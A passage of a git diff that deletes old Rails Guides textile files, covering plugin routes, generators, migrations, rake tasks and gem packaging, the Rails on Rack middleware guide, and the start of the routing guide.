routes from a plugin. This section will describe how to add a custom method called that can be called with 'map.yaffles'. - -Testing routes from plugins is slightly different from testing routes in a standard rails app. To begin, add a test like this: - -* *vendor/plugins/yaffle/test/routing_test.rb* - - -require "#{File.dirname(__FILE__)}/test_helper" - -class RoutingTest < Test::Unit::TestCase - - def setup - ActionController::Routing::Routes.draw do |map| - map.yaffles - end - end - - def test_yaffles_route - assert_recognition :get, "/yaffles", :controller => "yaffles_controller", :action => "index" - end - - private - - def assert_recognition(method, path, options) - result = ActionController::Routing::Routes.recognize_path(path, :method => method) - assert_equal options, result - end -end - - -Once you see the tests fail by running 'rake', you can make them pass with: - -* *vendor/plugins/yaffle/lib/yaffle.rb* - - -require "yaffle/routing" - - -* *vendor/plugins/yaffle/lib/yaffle/routing.rb* - - -module Yaffle #:nodoc: - module Routing #:nodoc: - module MapperExtensions - def yaffles - @set.add_route("/yaffles", {:controller => "yaffles_controller", :action => "index"}) - end - end - end -end - -ActionController::Routing::RouteSet::Mapper.send :include, Yaffle::Routing::MapperExtensions - - -* *config/routes.rb* - - -ActionController::Routing::Routes.draw do |map| - map.yaffles -end - - -You can also see if your routes work by running +rake routes+ from your app directory. - -h3. Generators - -Many plugins ship with generators. When you created the plugin above, you specified the +--with-generator+ option, so you already have the generator stubs in 'vendor/plugins/yaffle/generators/yaffle'. - -Building generators is a complex topic unto itself and this section will cover one small aspect of generators: generating a simple text file. - -h4. Testing Generators - -Many rails plugin authors do not test their generators, however testing generators is quite simple. A typical generator test does the following: - - * Creates a new fake rails root directory that will serve as destination - * Runs the generator - * Asserts that the correct files were generated - * Removes the fake rails root - -This section will describe how to create a simple generator that adds a file. For the generator in this section, the test could look something like this: - -* *vendor/plugins/yaffle/test/definition_generator_test.rb* - - -require File.dirname(__FILE__) + '/test_helper.rb' -require 'rails_generator' -require 'rails_generator/scripts/generate' - -class DefinitionGeneratorTest < Test::Unit::TestCase - - def setup - FileUtils.mkdir_p(fake_rails_root) - @original_files = file_list - end - - def teardown - FileUtils.rm_r(fake_rails_root) - end - - def test_generates_correct_file_name - Rails::Generator::Scripts::Generate.new.run(["yaffle_definition"], :destination => fake_rails_root) - new_file = (file_list - @original_files).first - assert_equal "definition.txt", File.basename(new_file) - end - - private - - def fake_rails_root - File.join(File.dirname(__FILE__), 'rails_root') - end - - def file_list - Dir.glob(File.join(fake_rails_root, "*")) - end - -end - - -You can run 'rake' from the plugin directory to see this fail. Unless you are doing more advanced generator commands it typically suffices to just test the Generate script, and trust that rails will handle the Destroy and Update commands for you. - -To make it pass, create the generator: - -* *vendor/plugins/yaffle/generators/yaffle_definition/yaffle_definition_generator.rb* - - -class YaffleDefinitionGenerator < Rails::Generator::Base - def manifest - record do |m| - m.file "definition.txt", "definition.txt" - end - end -end - - -h4. The +USAGE+ File - -If you plan to distribute your plugin, developers will expect at least a minimum of documentation. You can add simple documentation to the generator by updating the USAGE file. - -Rails ships with several built-in generators. You can see all of the generators available to you by typing the following at the command line: - - -./script/generate - - -You should see something like this: - - -Installed Generators - Plugins (vendor/plugins): yaffle_definition - Builtin: controller, integration_test, mailer, migration, model, observer, plugin, resource, scaffold, session_migration - - -When you run +script/generate yaffle_definition -h+ you should see the contents of your 'vendor/plugins/yaffle/generators/yaffle_definition/USAGE'. - -For this plugin, update the USAGE file could look like this: - - -Description: - Adds a file with the definition of a Yaffle to the app's main directory - - -h3. Add a Custom Generator Command - -You may have noticed above that you can used one of the built-in rails migration commands +migration_template+. If your plugin needs to add and remove lines of text from existing files you will need to write your own generator methods. - -This section describes how you you can create your own commands to add and remove a line of text from 'routes.rb'. This example creates a very simple method that adds or removes a text file. - -To start, add the following test method: - -* *vendor/plugins/yaffle/test/generator_test.rb* - - -def test_generates_definition - Rails::Generator::Scripts::Generate.new.run(["yaffle", "bird"], :destination => fake_rails_root) - definition = File.read(File.join(fake_rails_root, "definition.txt")) - assert_match /Yaffle\:/, definition -end - - -Run +rake+ to watch the test fail, then make the test pass add the following: - -* *vendor/plugins/yaffle/generators/yaffle/templates/definition.txt* - - -Yaffle: A bird - - -* *vendor/plugins/yaffle/lib/yaffle.rb* - - -require "yaffle/commands" - - -* *vendor/plugins/yaffle/lib/commands.rb* - - -require 'rails_generator' -require 'rails_generator/commands' - -module Yaffle #:nodoc: - module Generator #:nodoc: - module Commands #:nodoc: - module Create - def yaffle_definition - file("definition.txt", "definition.txt") - end - end - - module Destroy - def yaffle_definition - file("definition.txt", "definition.txt") - end - end - - module List - def yaffle_definition - file("definition.txt", "definition.txt") - end - end - - module Update - def yaffle_definition - file("definition.txt", "definition.txt") - end - end - end - end -end - -Rails::Generator::Commands::Create.send :include, Yaffle::Generator::Commands::Create -Rails::Generator::Commands::Destroy.send :include, Yaffle::Generator::Commands::Destroy -Rails::Generator::Commands::List.send :include, Yaffle::Generator::Commands::List -Rails::Generator::Commands::Update.send :include, Yaffle::Generator::Commands::Update - - -Finally, call your new method in the manifest: - -* *vendor/plugins/yaffle/generators/yaffle/yaffle_generator.rb* - - -class YaffleGenerator < Rails::Generator::NamedBase - def manifest - m.yaffle_definition - end -end - - -h3. Generator Commands - -You may have noticed above that you can used one of the built-in rails migration commands +migration_template+. If your plugin needs to add and remove lines of text from existing files you will need to write your own generator methods. - -This section describes how you you can create your own commands to add and remove a line of text from 'config/routes.rb'. - -To start, add the following test method: - -* *vendor/plugins/yaffle/test/route_generator_test.rb* - - -require File.dirname(__FILE__) + '/test_helper.rb' -require 'rails_generator' -require 'rails_generator/scripts/generate' -require 'rails_generator/scripts/destroy' - -class RouteGeneratorTest < Test::Unit::TestCase - - def setup - FileUtils.mkdir_p(File.join(fake_rails_root, "config")) - end - - def teardown - FileUtils.rm_r(fake_rails_root) - end - - def test_generates_route - content = <<-END - ActionController::Routing::Routes.draw do |map| - map.connect ':controller/:action/:id' - map.connect ':controller/:action/:id.:format' - end - END - File.open(routes_path, 'wb') {|f| f.write(content) } - - Rails::Generator::Scripts::Generate.new.run(["yaffle_route"], :destination => fake_rails_root) - assert_match /map\.yaffles/, File.read(routes_path) - end - - def test_destroys_route - content = <<-END - ActionController::Routing::Routes.draw do |map| - map.yaffles - map.connect ':controller/:action/:id' - map.connect ':controller/:action/:id.:format' - end - END - File.open(routes_path, 'wb') {|f| f.write(content) } - - Rails::Generator::Scripts::Destroy.new.run(["yaffle_route"], :destination => fake_rails_root) - assert_no_match /map\.yaffles/, File.read(routes_path) - end - - private - - def fake_rails_root - File.join(File.dirname(__FILE__), "rails_root") - end - - def routes_path - File.join(fake_rails_root, "config", "routes.rb") - end - -end - - -Run +rake+ to watch the test fail, then make the test pass add the following: - -* *vendor/plugins/yaffle/lib/yaffle.rb* - - -require "yaffle/commands" - - -* *vendor/plugins/yaffle/lib/yaffle/commands.rb* - - -require 'rails_generator' -require 'rails_generator/commands' - -module Yaffle #:nodoc: - module Generator #:nodoc: - module Commands #:nodoc: - module Create - def yaffle_route - logger.route "map.yaffle" - look_for = 'ActionController::Routing::Routes.draw do |map|' - unless options[:pretend] - gsub_file('config/routes.rb', /(#{Regexp.escape(look_for)})/mi){|match| "#{match}\n map.yaffles\n"} - end - end - end - - module Destroy - def yaffle_route - logger.route "map.yaffle" - gsub_file 'config/routes.rb', /\n.+?map\.yaffles/mi, '' - end - end - - module List - def yaffle_route - end - end - - module Update - def yaffle_route - end - end - end - end -end - -Rails::Generator::Commands::Create.send :include, Yaffle::Generator::Commands::Create -Rails::Generator::Commands::Destroy.send :include, Yaffle::Generator::Commands::Destroy -Rails::Generator::Commands::List.send :include, Yaffle::Generator::Commands::List -Rails::Generator::Commands::Update.send :include, Yaffle::Generator::Commands::Update - - -* *vendor/plugins/yaffle/generators/yaffle_route/yaffle_route_generator.rb* - - -class YaffleRouteGenerator < Rails::Generator::Base - def manifest - record do |m| - m.yaffle_route - end - end -end - - -To see this work, type: - - -./script/generate yaffle_route -./script/destroy yaffle_route - - -NOTE: If you haven't set up the custom route from above, 'script/destroy' will fail and you'll have to remove it manually. - -h3. Migrations - -If your plugin requires changes to the app's database you will likely want to somehow add migrations. Rails does not include any built-in support for calling migrations from plugins, but you can still make it easy for developers to call migrations from plugins. - -If you have a very simple needs, like creating a table that will always have the same name and columns, then you can use a more simple solution, like creating a custom rake task or method. If your migration needs user input to supply table names or other options, you probably want to opt for generating a migration. - -Let's say you have the following migration in your plugin: - -* *vendor/plugins/yaffle/lib/db/migrate/20081116181115_create_birdhouses.rb:* - - -class CreateBirdhouses < ActiveRecord::Migration - def self.up - create_table :birdhouses, :force => true do |t| - t.string :name - t.timestamps - end - end - - def self.down - drop_table :birdhouses - end -end - - -Here are a few possibilities for how to allow developers to use your plugin migrations: - -h4. Create a Custom Rake Task - -* *vendor/plugins/yaffle/tasks/yaffle_tasks.rake:* - - -namespace :db do - namespace :migrate do - description = "Migrate the database through scripts in vendor/plugins/yaffle/lib/db/migrate" - description << "and update db/schema.rb by invoking db:schema:dump." - description << "Target specific version with VERSION=x. Turn off output with VERBOSE=false." - - desc description - task :yaffle => :environment do - ActiveRecord::Migration.verbose = ENV["VERBOSE"] ? ENV["VERBOSE"] == "true" : true - ActiveRecord::Migrator.migrate("vendor/plugins/yaffle/lib/db/migrate/", ENV["VERSION"] ? ENV["VERSION"].to_i : nil) - Rake::Task["db:schema:dump"].invoke if ActiveRecord::Base.schema_format == :ruby - end - end -end - - -h4. Call Migrations Directly - -* *vendor/plugins/yaffle/lib/yaffle.rb:* - - -Dir.glob(File.join(File.dirname(__FILE__), "db", "migrate", "*")).each do |file| - require file -end - - -* *db/migrate/20081116181115_create_birdhouses.rb:* - - -class CreateBirdhouses < ActiveRecord::Migration - def self.up - Yaffle::CreateBirdhouses.up - end - - def self.down - Yaffle::CreateBirdhouses.down - end -end - - -NOTE: several plugin frameworks such as Desert and Engines provide more advanced plugin functionality. - -h4. Generate Migrations - -Generating migrations has several advantages over other methods. Namely, you can allow other developers to more easily customize the migration. The flow looks like this: - - * call your script/generate script and pass in whatever options they need - * examine the generated migration, adding/removing columns or other options as necessary - -This example will demonstrate how to use one of the built-in generator methods named 'migration_template' to create a migration file. Extending the rails migration generator requires a somewhat intimate knowledge of the migration generator internals, so it's best to write a test first: - -* *vendor/plugins/yaffle/test/yaffle_migration_generator_test.rb* - - -require File.dirname(__FILE__) + '/test_helper.rb' -require 'rails_generator' -require 'rails_generator/scripts/generate' - -class MigrationGeneratorTest < Test::Unit::TestCase - - def setup - FileUtils.mkdir_p(fake_rails_root) - @original_files = file_list - end - - def teardown - ActiveRecord::Base.pluralize_table_names = true - FileUtils.rm_r(fake_rails_root) - end - - def test_generates_correct_file_name - Rails::Generator::Scripts::Generate.new.run(["yaffle_migration", "some_name_nobody_is_likely_to_ever_use_in_a_real_migration"], - :destination => fake_rails_root) - new_file = (file_list - @original_files).first - assert_match /add_yaffle_fields_to_some_name_nobody_is_likely_to_ever_use_in_a_real_migrations/, new_file - assert_match /add_column :some_name_nobody_is_likely_to_ever_use_in_a_real_migrations do |t|/, File.read(new_file) - end - - def test_pluralizes_properly - ActiveRecord::Base.pluralize_table_names = false - Rails::Generator::Scripts::Generate.new.run(["yaffle_migration", "some_name_nobody_is_likely_to_ever_use_in_a_real_migration"], - :destination => fake_rails_root) - new_file = (file_list - @original_files).first - assert_match /add_yaffle_fields_to_some_name_nobody_is_likely_to_ever_use_in_a_real_migration/, new_file - assert_match /add_column :some_name_nobody_is_likely_to_ever_use_in_a_real_migration do |t|/, File.read(new_file) - end - - private - def fake_rails_root - File.join(File.dirname(__FILE__), 'rails_root') - end - - def file_list - Dir.glob(File.join(fake_rails_root, "db", "migrate", "*")) - end - -end - - -NOTE: the migration generator checks to see if a migation already exists, and it's hard-coded to check the 'db/migrate' directory. As a result, if your test tries to generate a migration that already exists in the app, it will fail. The easy workaround is to make sure that the name you generate in your test is very unlikely to actually appear in the app. - -After running the test with 'rake' you can make it pass with: - -* *vendor/plugins/yaffle/generators/yaffle_migration/yaffle_migration_generator.rb* - - -class YaffleMigrationGenerator < Rails::Generator::NamedBase - def manifest - record do |m| - m.migration_template 'migration:migration.rb', "db/migrate", {:assigns => yaffle_local_assigns, - :migration_file_name => "add_yaffle_fields_to_#{custom_file_name}" - } - end - end - - private - def custom_file_name - custom_name = class_name.underscore.downcase - custom_name = custom_name.pluralize if ActiveRecord::Base.pluralize_table_names - custom_name - end - - def yaffle_local_assigns - returning(assigns = {}) do - assigns[:migration_action] = "add" - assigns[:class_name] = "add_yaffle_fields_to_#{custom_file_name}" - assigns[:table_name] = custom_file_name - assigns[:attributes] = [Rails::Generator::GeneratedAttribute.new("last_squawk", "string")] - end - end -end - - -The generator creates a new file in 'db/migrate' with a timestamp and an 'add_column' statement. It reuses the built in rails +migration_template+ method, and reuses the built-in rails migration template. - -It's courteous to check to see if table names are being pluralized whenever you create a generator that needs to be aware of table names. This way people using your generator won't have to manually change the generated files if they've turned pluralization off. - -To run the generator, type the following at the command line: - - -./script/generate yaffle_migration bird - - -and you will see a new file: - -* *db/migrate/20080529225649_add_yaffle_fields_to_birds.rb* - - -class AddYaffleFieldsToBirds < ActiveRecord::Migration - def self.up - add_column :birds, :last_squawk, :string - end - - def self.down - remove_column :birds, :last_squawk - end -end - - -h3. Rake tasks - -When you created the plugin with the built-in rails generator, it generated a rake file for you in 'vendor/plugins/yaffle/tasks/yaffle_tasks.rake'. Any rake task you add here will be available to the app. - -Many plugin authors put all of their rake tasks into a common namespace that is the same as the plugin, like so: - -* *vendor/plugins/yaffle/tasks/yaffle_tasks.rake* - - -namespace :yaffle do - desc "Prints out the word 'Yaffle'" - task :squawk => :environment do - puts "squawk!" - end -end - - -When you run +rake -T+ from your plugin you will see: - - -yaffle:squawk # Prints out the word 'Yaffle' - - -You can add as many files as you want in the tasks directory, and if they end in .rake Rails will pick them up. - -Note that tasks from 'vendor/plugins/yaffle/Rakefile' are not available to the main app. - -h3. PluginGems - -Turning your rails plugin into a gem is a simple and straightforward task. This section will cover how to turn your plugin into a gem. It will not cover how to distribute that gem. - -Historically rails plugins loaded the plugin's 'init.rb' file. In fact some plugins contain all of their code in that one file. To be compatible with plugins, 'init.rb' was moved to 'rails/init.rb'. - -It's common practice to put any developer-centric rake tasks (such as tests, rdoc and gem package tasks) in 'Rakefile'. A rake task that packages the gem might look like this: - -* *vendor/plugins/yaffle/Rakefile:* - - -PKG_FILES = FileList[ - '[a-zA-Z]*', - 'generators/**/*', - 'lib/**/*', - 'rails/**/*', - 'tasks/**/*', - 'test/**/*' -] - -spec = Gem::Specification.new do |s| - s.name = "yaffle" - s.version = "0.0.1" - s.author = "Gleeful Yaffler" - s.email = "yaffle@example.com" - s.homepage = "http://yafflers.example.com/" - s.platform = Gem::Platform::RUBY - s.summary = "Sharing Yaffle Goodness" - s.files = PKG_FILES.to_a - s.require_path = "lib" - s.has_rdoc = false - s.extra_rdoc_files = ["README"] -end - -desc 'Turn this plugin into a gem.' -Rake::GemPackageTask.new(spec) do |pkg| - pkg.gem_spec = spec -end - - -To build and install the gem locally, run the following commands: - - -cd vendor/plugins/yaffle -rake gem -sudo gem install pkg/yaffle-0.0.1.gem - - -To test this, create a new rails app, add 'config.gem "yaffle"' to environment.rb and all of your plugin's functionality will be available to you. - -h3. RDoc Documentation - -Once your plugin is stable and you are ready to deploy do everyone else a favor and document it! Luckily, writing documentation for your plugin is easy. - -The first step is to update the README file with detailed information about how to use your plugin. A few key things to include are: - -* Your name -* How to install -* How to add the functionality to the app (several examples of common use cases) -* Warning, gotchas or tips that might help save users time - -Once your README is solid, go through and add rdoc comments to all of the methods that developers will use. It's also customary to add '#:nodoc:' comments to those parts of the code that are not part of the public api. - -Once your comments are good to go, navigate to your plugin directory and run: - - -rake rdoc - - -h3. Appendix - -If you prefer to use RSpec instead of Test::Unit, you may be interested in the "RSpec Plugin Generator":http://github.com/pat-maddox/rspec-plugin-generator/tree/master. - -h4. References - -* http://nubyonrails.com/articles/the-complete-guide-to-rails-plugins-part-i -* http://nubyonrails.com/articles/the-complete-guide-to-rails-plugins-part-ii -* http://github.com/technoweenie/attachment_fu/tree/master -* http://daddy.platte.name/2007/05/rails-plugins-keep-initrb-thin.html -* http://www.mbleigh.com/2008/6/11/gemplugins-a-brief-introduction-to-the-future-of-rails-plugins -* http://weblog.jamisbuck.org/2006/10/26/monkey-patching-rails-extending-routes-2. - -h4. Contents of +lib/yaffle.rb+ - -* *vendor/plugins/yaffle/lib/yaffle.rb:* - - -require "yaffle/core_ext" -require "yaffle/acts_as_yaffle" -require "yaffle/commands" -require "yaffle/routing" - -%w{ models controllers helpers }.each do |dir| - path = File.join(File.dirname(__FILE__), 'app', dir) - $LOAD_PATH << path - ActiveSupport::Dependencies.load_paths << path - ActiveSupport::Dependencies.load_once_paths.delete(path) -end - -# optionally: -# Dir.glob(File.join(File.dirname(__FILE__), "db", "migrate", "*")).each do |file| -# require file -# end - - -h4. Final Plugin Directory Structure - -The final plugin should have a directory structure that looks something like this: - - -|-- MIT-LICENSE -|-- README -|-- Rakefile -|-- generators -| |-- yaffle_definition -| | |-- USAGE -| | |-- templates -| | | `-- definition.txt -| | `-- yaffle_definition_generator.rb -| |-- yaffle_migration -| | |-- USAGE -| | |-- templates -| | `-- yaffle_migration_generator.rb -| `-- yaffle_route -| |-- USAGE -| |-- templates -| `-- yaffle_route_generator.rb -|-- install.rb -|-- lib -| |-- app -| | |-- controllers -| | | `-- woodpeckers_controller.rb -| | |-- helpers -| | | `-- woodpeckers_helper.rb -| | `-- models -| | `-- woodpecker.rb -| |-- db -| | `-- migrate -| | `-- 20081116181115_create_birdhouses.rb -| |-- yaffle -| | |-- acts_as_yaffle.rb -| | |-- commands.rb -| | |-- core_ext.rb -| | `-- routing.rb -| `-- yaffle.rb -|-- pkg -| `-- yaffle-0.0.1.gem -|-- rails -| `-- init.rb -|-- tasks -| `-- yaffle_tasks.rake -|-- test -| |-- acts_as_yaffle_test.rb -| |-- core_ext_test.rb -| |-- database.yml -| |-- debug.log -| |-- definition_generator_test.rb -| |-- migration_generator_test.rb -| |-- route_generator_test.rb -| |-- routes_test.rb -| |-- schema.rb -| |-- test_helper.rb -| |-- woodpecker_test.rb -| |-- woodpeckers_controller_test.rb -| |-- wookpeckers_helper_test.rb -| |-- yaffle_plugin.sqlite3.db -| `-- yaffle_test.rb -`-- uninstall.rb - - -h3. Changelog - -"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213/tickets/32-update-plugins-guide - -* November 17, 2008: Major revision by Jeff Dean diff --git a/vendor/rails/railties/guides/source/rails_on_rack.textile b/vendor/rails/railties/guides/source/rails_on_rack.textile deleted file mode 100644 index 07ca1624..00000000 --- a/vendor/rails/railties/guides/source/rails_on_rack.textile +++ /dev/null @@ -1,309 +0,0 @@ -h2. Rails on Rack - -This guide covers Rails integration with Rack and interfacing with other Rack components. By referring to this guide, you will be able to: - -* Create Rails Metal applications -* Use Rack Middlewares in your Rails applications -* Understand Action Pack's internal Middleware stack -* Define a custom Middleware stack - -endprologue. - -WARNING: This guide assumes a working knowledge of Rack protocol and Rack concepts such as middlewares, url maps and Rack::Builder. - -h3. Introduction to Rack - -bq. Rack provides a minimal, modular and adaptable interface for developing web applications in Ruby. By wrapping HTTP requests and responses in the simplest way possible, it unifies and distills the API for web servers, web frameworks, and software in between (the so-called middleware) into a single method call. - -- "Rack API Documentation":http://rack.rubyforge.org/doc/ - -Explaining Rack is not really in the scope of this guide. In case you are not familiar with Rack's basics, you should check out the following links: - -* "Official Rack Website":http://rack.github.com -* "Introducing Rack":http://chneukirchen.org/blog/archive/2007/02/introducing-rack.html -* "Ruby on Rack #1 - Hello Rack!":http://m.onkey.org/2008/11/17/ruby-on-rack-1 -* "Ruby on Rack #2 - The Builder":http://m.onkey.org/2008/11/18/ruby-on-rack-2-rack-builder - -h3. Rails on Rack - -h4. Rails Application's Rack Object - -ActionController::Dispatcher.new is the primary Rack application object of a Rails application. Any Rack compliant web server should be using +ActionController::Dispatcher.new+ object to serve a Rails application.

    - -h4. +script/server+ - -script/server does the basic job of creating a +Rack::Builder+ object and starting the webserver. This is Rails' equivalent of Rack's +rackup+ script. - -Here's how +script/server+ creates an instance of +Rack::Builder+ - - -app = Rack::Builder.new { - use Rails::Rack::LogTailer unless options[:detach] - use Rails::Rack::Debugger if options[:debugger] - - map "/" do - use Rails::Rack::Static - run ActionController::Dispatcher.new - end -}.to_app - - -Middlewares used in the code above are primarily useful only in the development envrionment. The following table explains their usage: - -|_.Middleware|_.Purpose| -|Rails::Rack::LogTailer|Appends log file output to console| -|Rails::Rack::Static|Serves static files inside +RAILS_ROOT/public+ directory| -|Rails::Rack::Debugger|Starts Debugger| - -h4. +rackup+ - -To use +rackup+ instead of Rails' +script/server+, you can put the following inside +config.ru+ of your Rails application's root directory: - - -# RAILS_ROOT/config.ru -require "config/environment" - -use Rails::Rack::LogTailer -use Rails::Rack::Static -run ActionController::Dispatcher.new - - -And start the server: - - -[lifo@null application]$ rackup - - -To find out more about different +rackup+ options: - - -[lifo@null application]$ rackup --help - - -h3. Action Controller Middleware Stack - -Many of Action Controller's internal components are implemented as Rack middlewares. +ActionController::Dispatcher+ uses +ActionController::MiddlewareStack+ to combine various internal and external middlewares to form a complete Rails Rack application. - -NOTE: +ActionController::MiddlewareStack+ is Rails' equivalent of +Rack::Builder+, but built for better flexibility and more features to meet Rails' requirements. - -h4. Inspecting Middleware Stack - -Rails has a handy rake task for inspecting the middleware stack in use: - - -$ rake middleware - - -For a freshly generated Rails application, this might produce something like: - - -use Rack::Lock -use ActionController::Failsafe -use ActionController::Session::CookieStore, , {:secret=>"", :session_key=>"__session"} -use Rails::Rack::Metal -use ActionController::RewindableInput -use ActionController::ParamsParser -use Rack::MethodOverride -use Rack::Head -use ActiveRecord::QueryCache -run ActionController::Dispatcher.new - - -Purpose of each of this middlewares is explained in "Internal Middlewares":#internal-middleware-stack section. - -h4. Configuring Middleware Stack - -Rails provides a simple configuration interface +config.middleware+ for adding, removing and modifying the middlewares in the middleware stack via +environment.rb+ or the environment specific configuration file environments/<environment>.rb. - -h5. Adding a Middleware - -You can add a new middleware to the middleware stack using any of the following methods: - -* +config.middleware.use(new_middleware, args)+ - Adds the new middleware at the bottom of the middleware stack. - -* +config.middleware.insert_before(existing_middleware, new_middleware, args)+ - Adds the new middleware before the specified existing middleware in the middleware stack. - -* +config.middleware.insert_after(existing_middleware, new_middleware, args)+ - Adds the new middleware after the specified existing middleware in the middleware stack. - -Example: - - -# environment.rb - -# Push Rack::BounceFavicon at the bottom -config.middleware.use Rack::BounceFavicon - -# Add Lifo::Cache after ActiveRecord::QueryCache. -# Pass { :page_cache => false } argument to Lifo::Cache. -config.middleware.insert_after ActiveRecord::QueryCache, Lifo::Cache, :page_cache => false - - -h5. Swapping a Middleware - -You can swap an existing middleware in the middleware stack using +config.middleware.swap+. - -Example: - - -# environment.rb - -# Replace ActionController::Failsafe with Lifo::Failsafe -config.middleware.swap ActionController::Failsafe, Lifo::Failsafe - - -h5. Middleware Stack is an Array - -The middleware stack behaves just like a normal +Array+. You can use any +Array+ methods to insert, reorder, or remove items from the stack. Methods described in the section above are just convenience methods. - -For example, the following removes the middleware matching the supplied class name: - - -config.middleware.delete(middleware) - - -h4. Internal Middleware Stack - -Much of Action Controller's functionality is implemented as Middlewares. The following table explains the purpose of each of them: - -|_.Middleware|_.Purpose| -|Rack::Lock|Sets +env["rack.multithread"]+ flag to +true+ and wraps the application within a Mutex.| -|ActionController::Failsafe|Returns HTTP Status +500+ to the client if an exception gets raised while dispatching.| -|ActiveRecord::QueryCache|Enable the Active Record query cache.| -|ActionController::Session::CookieStore|Uses the cookie based session store.| -|ActionController::Session::MemCacheStore|Uses the memcached based session store.| -|ActiveRecord::SessionStore|Uses the database based session store.| -|Rack::MethodOverride|Sets HTTP method based on +_method+ parameter or +env["HTTP_X_HTTP_METHOD_OVERRIDE"]+.| -|Rack::Head|Discards the response body if the client sends a +HEAD+ request.| - -TIP: It's possible to use any of the above middlewares in your custom Rack stack. - -h4. Customizing Internal Middleware Stack - -It's possible to replace the entire middleware stack with a custom stack using +ActionController::Dispatcher.middleware=+. - -Example: - -Put the following in an initializer: - - -# config/initializers/stack.rb -ActionController::Dispatcher.middleware = ActionController::MiddlewareStack.new do |m| - m.use ActionController::Failsafe - m.use ActiveRecord::QueryCache - m.use Rack::Head -end - - -And now inspecting the middleware stack: - - -$ rake middleware -(in /Users/lifo/Rails/blog) -use ActionController::Failsafe -use ActiveRecord::QueryCache -use Rack::Head -run ActionController::Dispatcher.new - - -h4. Using Rack Builder - -The following shows how to replace use +Rack::Builder+ instead of the Rails supplied +MiddlewareStack+. - -Clear the existing Rails middleware stack - - -# environment.rb -config.middleware.clear - - -
    -Add a +config.ru+ file to +RAILS_ROOT+ - - -# config.ru -use MyOwnStackFromStratch -run ActionController::Dispatcher.new - - -h3. Rails Metal Applications - -Rails Metal applications are minimal Rack applications specially designed for integrating with a typical Rails application. As Rails Metal Applications skip all of the Action Controller stack, serving a request has no overhead from the Rails framework itself. This is especially useful for infrequent cases where the performance of the full stack Rails framework is an issue. - -Ryan Bates' railscast on the "Rails Metal":http://railscasts.com/episodes/150-rails-metal provides a nice walkthrough generating and using Rails Metal. - -h4. Generating a Metal Application - -Rails provides a generator called +metal+ for creating a new Metal application: - - -$ script/generate metal poller - - -This generates +poller.rb+ in the +app/metal+ directory: - - -# Allow the metal piece to run in isolation -require(File.dirname(__FILE__) + "/../../config/environment") unless defined?(Rails) - -class Poller - def self.call(env) - if env["PATH_INFO"] =~ /^\/poller/ - [200, {"Content-Type" => "text/html"}, ["Hello, World!"]] - else - [404, {"Content-Type" => "text/html"}, ["Not Found"]] - end - end -end - - -Metal applications within +app/metal+ folders in plugins will also be discovered and added to the list - -Metal applications are an optimization. You should make sure to "understand the related performance implications":http://weblog.rubyonrails.org/2008/12/20/performance-of-rails-metal before using it. - -h4. Execution Order - -All Metal Applications are executed by +Rails::Rack::Metal+ middleware, which is a part of the +ActionController::MiddlewareStack+ chain. - -Here's the primary method responsible for running the Metal applications: - - -def call(env) - @metals.keys.each do |app| - result = app.call(env) - return result unless result[0].to_i == 404 - end - @app.call(env) -end - - -In the code above, +@metals+ is an ordered hash of metal applications. Due to the default alphabetical ordering, +aaa.rb+ will come before +bbb.rb+ in the metal chain. - -It is, however, possible to override the default ordering in your environment. Simply add a line like the following to +config/environment.rb+ - - -config.metals = ["Bbb", "Aaa"] - - -Each string in the array should be the name of your metal class. If you do this then be warned that any metal applications not listed will not be loaded. - -WARNING: Metal applications cannot return the HTTP Status +404+ to a client, as it is used for continuing the Metal chain execution. Please use normal Rails controllers or a custom middleware if returning +404+ is a requirement. - -h3. Resources - -h4. Learning Rack - -* "Official Rack Website":http://rack.github.com -* "Introducing Rack":http://chneukirchen.org/blog/archive/2007/02/introducing-rack.html -* "Ruby on Rack #1 - Hello Rack!":http://m.onkey.org/2008/11/17/ruby-on-rack-1 -* "Ruby on Rack #2 - The Builder":http://m.onkey.org/2008/11/18/ruby-on-rack-2-rack-builder - -h4. Understanding Middlewares - -* "Railscast on Rack Middlewares":http://railscasts.com/episodes/151-rack-middleware - -h3. Changelog - -"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/58 - -* February 7, 2009: Second version by "Pratik":credits.html#lifo -* January 11, 2009: First version by "Pratik":credits.html#lifo diff --git a/vendor/rails/railties/guides/source/routing.textile b/vendor/rails/railties/guides/source/routing.textile deleted file mode 100644 index a4d9e140..00000000 --- a/vendor/rails/railties/guides/source/routing.textile +++ /dev/null @@ -1,903 +0,0 @@ -h2. Rails Routing from the Outside In - -This guide covers the user-facing features of Rails routing. By referring to this guide, you will be able to: - -* Understand the purpose of routing -* Decipher the code in +routes.rb+ -* Construct your own routes, using either the classic hash style or the now-preferred RESTful style -* Identify how a route will map to a controller and action - -endprologue. - -h3. The Dual Purpose of Routing - -Rails routing is a two-way piece of machinery - rather as if you could turn trees into paper, and then turn paper back into trees. Specifically, it both connects incoming HTTP requests to the code in your application's controllers, and helps you generate URLs without having to hard-code them as strings. - -h4. Connecting URLs to Code - -When your Rails application receives an incoming HTTP request, say - -
    -GET /patients/17
    -
    - -the routing engine within Rails is the piece of code that dispatches the request to the appropriate spot in your application. In this case, the application would most likely end up running the +show+ action within the +patients+ controller, displaying the details of the patient whose ID is 17. - -h4. Generating URLs from Code - -Routing also works in reverse. If your application contains this code: - - -@patient = Patient.find(17) - - - -<%= link_to "Patient Record", patient_path(@patient) %> - - -Then the routing engine is the piece that translates that to a link to a URL such as +http://example.com/patients/17+. By using routing in this way, you can reduce the brittleness of your application as compared to one with hard-coded URLs, and make your code easier to read and understand. - -NOTE: Patient needs to be declared as a resource for this style of translation via a named route to be available. - -h3. Quick Tour of +routes.rb+ - -There are two components to routing in Rails: the routing engine itself, which is supplied as part of Rails, and the file +config/routes.rb+, which contains the actual routes that will be used by your application. Learning exactly what you can put in +routes.rb+ is the main topic of this guide, but before we dig in let's get a quick overview. - -h4. Processing the File - -In format, +routes.rb+ is nothing more than one big block sent to +ActionController::Routing::Routes.draw+. Within this block, you can have comments, but it's likely that most of your content will be individual lines of code - each line being a route in your application. You'll find five main types of content in this file: - -* RESTful Routes -* Named Routes -* Nested Routes -* Regular Routes -* Default Routes - -Each of these types of route is covered in more detail later in this guide. - -The +routes.rb+ file is processed from top to bottom when a request comes in. The request will be dispatched to the first matching route. If there is no matching route, then Rails returns HTTP status 404 to the caller. - -h4. RESTful Routes - -RESTful routes take advantage of the built-in REST orientation of Rails to wrap up a lot of routing information in a single declaration. A RESTful route looks like this: - - -map.resources :books - - -h4. Named Routes - -Named routes give you very readable links in your code, as well as handling incoming requests. Here's a typical named route: - - 